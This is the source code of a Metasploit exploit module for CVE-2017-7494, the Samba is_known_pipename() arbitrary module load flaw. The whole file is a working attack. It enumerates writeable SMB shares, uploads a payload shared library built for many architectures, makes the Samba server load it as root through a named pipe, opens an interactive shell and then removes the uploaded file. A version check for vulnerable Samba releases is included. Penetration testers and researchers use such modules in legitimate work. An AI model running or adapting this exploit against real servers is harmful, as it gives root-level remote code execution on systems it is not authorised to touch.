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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client
def initialize(info = {})
super(update_info(info,
'Name' => 'Samba is_known_pipename() Arbitrary Module Load',
'Description' => %q{
This module triggers an arbitrary shared library load vulnerability
in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
requires valid credentials, a writeable folder in an accessible share,
and knowledge of the server-side path of the writeable folder. In
some cases, anonymous access combined with common filesystem locations
can be used to automatically exploit this vulnerability.
},
'Author' =>
[
'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery & Python Exploit
'hdm', # Metasploit Module
'Brendan Coles <bcoles[at]gmail.com>', # Check logic
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-7494' ],
[ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
],
'Payload' =>
{
'Space' => 9000,
'DisableNops' => true
},
'Platform' => 'linux',
'Targets' =>
[
[ 'Automatic (Interact)',
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'Interact' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find'
}
}
}
],
[ 'Automatic (Command)',
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }
],
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
[ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
[ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ],
[ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ],
[ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ],
[ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ],
[ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ],
[ 'Linux PPC', { 'Arch' => ARCH_PPC } ],
[ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ],
[ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],
[ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ],
[ 'Linux SPARC64', { 'Arch' => ARCH_SPARC64 } ],
[ 'Linux s390x', { 'Arch' => ARCH_ZARCH } ],
],
'DefaultOptions' =>
{
'DCERPC::fake_bind_multi' => false,
'SHELL' => '/bin/sh',
},
'Privileged' => true,
'DisclosureDate' => 'Mar 24 2017',
'DefaultTarget' => 0))
register_options(
[
OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
])
end
def post_auth?
true
end
# Setup our mapping of Metasploit architectures to gcc architectures
def setup
super
@@payload_arch_mappings = {
ARCH_X86 => [ 'x86' ],
ARCH_X64 => [ 'x86_64' ],
ARCH_MIPS => [ 'mips' ],
ARCH_MIPSLE => [ 'mipsel' ],
ARCH_MIPSBE => [ 'mips' ],
ARCH_MIPS64 => [ 'mips64' ],
ARCH_MIPS64LE => [ 'mips64el' ],
ARCH_PPC => [ 'powerpc' ],
ARCH_PPC64 => [ 'powerpc64' ],
ARCH_PPC64LE => [ 'powerpc64le' ],
ARCH_SPARC => [ 'sparc' ],
ARCH_SPARC64 => [ 'sparc64' ],
ARCH_ARMLE => [ 'armel', 'armhf' ],
ARCH_AARCH64 => [ 'aarch64' ],
ARCH_ZARCH => [ 's390x' ],
}
# Architectures we don't offically support but can shell anyways with interact
@@payload_arch_bonus = %W{
mips64el sparc64 s390x
}
# General platforms (OS + C library)
@@payload_platforms = %W{
linux-glibc
}
end
# List all top-level directories within a given share
def enumerate_directories(share)
begin
self.simple.connect("\\\\#{rhost}\\#{share}")
stuff = self.simple.client.find_first("\\*")
directories = [""]
stuff.each_pair do |entry,entry_attr|
next if %W{. ..}.include?(entry)
next unless entry_attr['type'] == 'D'
directories << entry
end
return directories
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Enum #{share}: #{e}")
return nil
ensure
simple.disconnect("\\\\#{rhost}\\#{share}")
end
end
# Determine whether a directory in a share is writeable
def verify_writeable_directory(share, directory="")
begin
simple.connect("\\\\#{rhost}\\#{share}")
random_filename = Rex::Text.rand_text_alpha(5)+".txt"
filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"
wfd = simple.open(filename, 'rwct')
wfd << Rex::Text.rand_text_alpha(8)
wfd.close
simple.delete(filename)
return true
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Write #{share}#{filename}: #{e}")
return false
ensure
simple.disconnect("\\\\#{rhost}\\#{share}")
end
end
# Call NetShareGetInfo to retrieve the server-side path
def find_share_path
share_info = smb_netsharegetinfo(@share)
share_info[:path].gsub("\\", "/").sub(/^.*:/, '')
end
# Crawl top-level directories and test for writeable
def find_writeable_path(share)
subdirs = enumerate_directories(share)
return unless subdirs
if datastore['SMB_FOLDER'].to_s.length > 0
subdirs.unshift(datastore['SMB_FOLDER'])
end
subdirs.each do |subdir|
next unless verify_writeable_directory(share, subdir)
return subdir
end
nil
end
# Locate a writeable directory across identified shares
def find_writeable_share_path
@path = nil
share_info = smb_netshareenumall
if datastore['SMB_SHARE_NAME'].to_s.length > 0
share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
end
share_info.each do |share|
next if share.first.upcase == 'IPC$'
found = find_writeable_path(share.first)
next unless found
@share = share.first
@path = found
break
end
end
# Locate a writeable share
def find_writeable
find_writeable_share_path
unless @share && @path
print_error("No suitable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")
fail_with(Failure::NoTarget, "No matching target")
end
print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
end
# Store the wrapped payload into the writeable share
def upload_payload(wrapped_payload)
begin
self.simple.connect("\\\\#{rhost}\\#{@share}")
random_filename = Rex::Text.rand_text_alpha(8)+".so"
filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"
wfd = simple.open(filename, 'rwct')
wfd << wrapped_payload
wfd.close
@payload_name = random_filename
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
print_error("Write #{@share}#{filename}: #{e}")
return false
ensure
simple.disconnect("\\\\#{rhost}\\#{@share}")
end
print_status("Uploaded payload to \\\\#{rhost}\\#{@share}#{filename}")
return true
end
# Try both pipe open formats in order to load the uploaded shared library
def trigger_payload
target = [@share_path, @path, @payload_name].join("/").gsub(/\/+/, '/')
[
"\\\\PIPE\\" + target,
target
].each do |tpath|
print_status("Loading the payload from server-side path #{target} using #{tpath}...")
smb_connect
# Try to execute the shared library from the share
begin
simple.client.create_pipe(tpath)
probe_module_path(tpath)
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
# Common errors we can safely ignore
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
# Look for STATUS_OBJECT_PATH_INVALID indicating our interact payload loaded
if e.error_code == 0xc0000039
print_good("Probe response indicates the interactive payload was loaded...")
smb_shell = self.sock
self.sock = nil
remove_socket(sock)
handler(smb_shell)
return true
else
print_error(" >> Failed to load #{e.error_name}")
end
end
disconnect
end
false
end
# Use fancy payload wrappers to make exploitation a joyously lazy exercise
def cycle_possible_payloads
template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-7494")
template_list = []
template_type = nil
template_arch = nil
# Handle the generic command types first
if target.arch.include?(ARCH_CMD)
template_type = target['Interact'] ? 'findsock' : 'system'
all_architectures = @@payload_arch_mappings.values.flatten.uniq
# Include our bonus architectures for the interact payload
if target['Interact']
@@payload_arch_bonus.each do |t_arch|
all_architectures << t_arch
end
end
# Prioritize the most common architectures first
%W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch|
template_list << all_architectures.delete(t_arch)
end
# Queue up the rest for later
all_architectures.each do |t_arch|
template_list << t_arch
end
# Handle the specific architecture targets next
else
template_type = 'shellcode'
target.arch.each do |t_name|
@@payload_arch_mappings[t_name].each do |t_arch|
template_list << t_arch
end
end
end
# Remove any duplicates that mau have snuck in
template_list.uniq!
# Cycle through each top-level platform we know about
@@payload_platforms.each do |t_plat|
# Cycle through each template and yield
template_list.each do |t_arch|
wrapper_path = ::File.join(template_base, "samba-root-#{template_type}-#{t_plat}-#{t_arch}.so.gz")
next unless ::File.exists?(wrapper_path)
data = ''
::File.open(wrapper_path, "rb") do |fd|
data = Rex::Text.ungzip(fd.read)
end
pidx = data.index('PAYLOAD')
if pidx
data[pidx, payload.encoded.length] = payload.encoded
end
vprint_status("Using payload wrapper 'samba-root-#{template_type}-#{t_arch}'...")
yield(data)
end
end
end
# Verify that the payload settings make sense
def sanity_check
if target['Interact'] && datastore['PAYLOAD'] != "cmd/unix/interact"
print_error("Error: The interactive target is chosen (0) but PAYLOAD is not set to cmd/unix/interact")
print_error(" Please set PAYLOAD to cmd/unix/interact and try this again")
print_error("")
fail_with(Failure::NoTarget, "Invalid payload chosen for the interactive target")
end
if ! target['Interact'] && datastore['PAYLOAD'] == "cmd/unix/interact"
print_error("Error: A non-interactive target is chosen but PAYLOAD is set to cmd/unix/interact")
print_error(" Please set a valid PAYLOAD and try this again")
print_error("")
fail_with(Failure::NoTarget, "Invalid payload chosen for the non-interactive target")
end
end
# Shorthand for connect and login
def smb_connect
connect
smb_login
end
# Start the shell train
def exploit
# Validate settings
sanity_check
# Setup SMB
smb_connect
# Find a writeable share
find_writeable
# Retrieve the server-side path of the share like a boss
print_status("Retrieving the remote path of the share '#{@share}'")
@share_path = find_share_path
print_status("Share '#{@share}' has server-side path '#{@share_path}")
# Disconnect
disconnect
# Create wrappers for each potential architecture
cycle_possible_payloads do |wrapped_payload|
# Connect, upload the shared library payload, disconnect
smb_connect
upload_payload(wrapped_payload)
disconnect
# Trigger the payload
early = trigger_payload
# Cleanup the payload
begin
smb_connect
simple.connect("\\\\#{rhost}\\#{@share}")
uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
simple.delete(uploaded_path)
disconnect
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
end
# Bail early if our interact payload loaded
return if early
end
end
# A version-based vulnerability check for Samba
def check
res = smb_fingerprint
unless res['native_lm'] =~ /Samba ([\d\.]+)/
print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}")
return CheckCode::Safe
end
samba_version = Gem::Version.new($1.gsub(/\.$/, ''))
vprint_status("Samba version identified as #{samba_version.to_s}")
if samba_version < Gem::Version.new('3.5.0')
return CheckCode::Safe
end
# Patched in 4.4.14
if samba_version < Gem::Version.new('4.5.0') &&
samba_version >= Gem::Version.new('4.4.14')
return CheckCode::Safe
end
# Patched in 4.5.10
if samba_version > Gem::Version.new('4.5.0') &&
samba_version < Gem::Version.new('4.6.0') &&
samba_version >= Gem::Version.new('4.5.10')
return CheckCode::Safe
end
# Patched in 4.6.4
if samba_version >= Gem::Version.new('4.6.4')
return CheckCode::Safe
end
smb_connect
find_writeable_share_path
disconnect
if @share.to_s.length == 0
print_status("Samba version #{samba_version.to_s} found, but no writeable share has been identified")
return CheckCode::Detected
end
print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'")
return CheckCode::Appears
end
end